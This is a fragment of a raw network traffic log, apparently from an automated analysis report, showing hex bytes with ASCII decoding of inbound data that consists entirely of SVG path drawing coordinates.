2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d Data Ascii: .13-1.36,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M653.42,259.54a2.16,2.16,0,0,1-1.1,2.75,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M
2023-05-31 12:51:54 UTC	690	IN	Data Raw: 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 38 38 2e 31 35 2c 33 32 30 2e 36 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 Data Ascii: -4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M688.15,320.61a2.15,2.15,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9"
2023-05-31 12:51:54 UTC	706	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 32 2e 38 39 2c 33 38 31 2e 36 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 33 2c 33 37 33 61 32 2e 31 36 Data Ascii: ,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M722.89,381.68a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M723,373a2.16
2023-05-31 12:51:54 UTC	722	IN	Data Raw: 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 36 32 2c 34 34 32 2e 37 36 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 37 2c 34 33 34 2e 30 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c Data Ascii: ,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M757.62,442.76a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M757.7,434.08a2.15,2.15,0,0,1-1.09,2.75,
2023-05-31 12:51:54 UTC	738	IN	Data Raw: 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 2c 32 36 30 2e 37 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 38 2c 32 35 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c Data Ascii: 2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M785.7,260.71a2.15,2.15,0,0,1-1.09,2.75,3.15,3.15,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M785.78,252a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,
2023-05-31 12:51:54 UTC	754	IN	Data Raw: 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 34 34 2c 33 32 31 2e 37 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 35 31 2c 33 31 33 2e 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 Data Ascii: ath class="cls-9" d="M820.44,321.78a2.16,2.16,0,0,1-1.1,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M820.51,313.1a2.15,2.15,0,0,1-1.09,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.7
2023-05-31 12:51:54 UTC	770	IN	Data Raw: 22 4d 38 35 35 2e 31 37 2c 33 38 32 2e 38 36 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 35 35 2e 32 35 2c 33 37 34 2e 31 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c Data Ascii: "M855.17,382.86a2.15,2.15,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M855.25,374.18a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,
2023-05-31 12:51:54 UTC	786	IN	Data Raw: 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 39 30 2c 34 33 35 2e 32 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 2f 3e 3c 70 61 74 Data Ascii: .1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.8-3.58,2.8,2.8,0,0,1,3.61.2,2.64,2.64,0,0,1,0,3.57"/><path class="cls-9" d="M890,435.25a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.63,2.63,0,0,1,0,3.57"/><pat
2023-05-31 12:51:54 UTC	802	IN	Data Raw: 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 38 2e 30 36 2c 32 35 33 2e 32 31 41 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2c 39 31 37 2c 32 35 36 61 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 Data Ascii: 0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M918.06,253.21A2.15,2.15,0,0,1,917,256a3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3
2023-05-31 12:51:54 UTC	818	IN	Data Raw: 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 35 32 2e 38 2c 33 31 34 2e 32 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 Data Ascii: ,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M952.8,314.28a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.8-3.58,2.8,2.8,0,0,1,3.61.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9
2023-05-31 12:51:54 UTC	834	IN	Data Raw: 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 2e 35 38 2c 32 35 31 2e 36 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 2e 32 38 2c 32 34 32 2e 38 35 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 Data Ascii: 2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M59.58,251.63a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M59.28,242.85a2.18,2.18,0,0
2023-05-31 12:51:54 UTC	850	IN	Data Raw: 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 39 37 2c 33 30 33 2e 30 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d Data Ascii: 8,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M97,303.09a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-
2023-05-31 12:51:54 UTC	866	IN	Data Raw: 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 31 37 2e 35 36 2c 31 31 37 2e 38 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 31 37 2e 32 36 2c 31 30 39 2e 30 35 61 32 2e 31 38 2c 32 2e 31 38 2c Data Ascii: 6,2.86,2.86,0,0,1,3.67,0,2.67,2.67,0,0,1,.19,3.61"/><path class="cls-7" d="M117.56,117.83a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M117.26,109.05a2.18,2.18,
2023-05-31 12:51:54 UTC	882	IN	Data Raw: 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 35 35 2e 33 31 2c 31 37 38 2e 30 38 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2c 30 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 35 35 2c 31 Data Ascii: 1.2,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M155.31,178.08a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.84,2.84,0,0,1,3.66,0,2.67,2.67,0,0,1,.2,3.62"/><path class="cls-7" d="M155,1
2023-05-31 12:51:54 UTC	898	IN	Data Raw: 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 39 33 2e 30 37 2c 32 33 38 2e 33 32 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 39 32 2e 37 37 2c 32 32 39 2e 35 34 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c Data Ascii: 0,2.68,2.68,0,0,1,.2,3.61"/><path class="cls-7" d="M193.07,238.32a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M192.77,229.54a2.17,2.17,0,0,1-1,2.83,3.18,
2023-05-31 12:51:54 UTC	914	IN	Data Raw: 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 33 30 2e 38 33 2c 32 39 38 2e 35 37 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 33 30 2e 35 Data Ascii: 1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M230.83,298.57a2.19,2.19,0,0,1-1,2.83,3.2,3.2,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M230.5
2023-05-31 12:51:54 UTC	930	IN	Data Raw: 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 35 31 2e 33 35 2c 31 31 33 2e 33 31 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d Data Ascii: 3-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M251.35,113.31a2.17,2.17,0,0,1-1,2.82,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M
2023-05-31 12:51:54 UTC	946	IN	Data Raw: 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 38 39 2e 31 2c 31 37 33 2e 35 35 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 Data Ascii: 1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"/><path class="cls-7" d="M289.1,173.55a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.66,2.84,2.84,0,0,1,3.66.05,2.66,2.66,0,0,1,.2,3.61"/><path class="
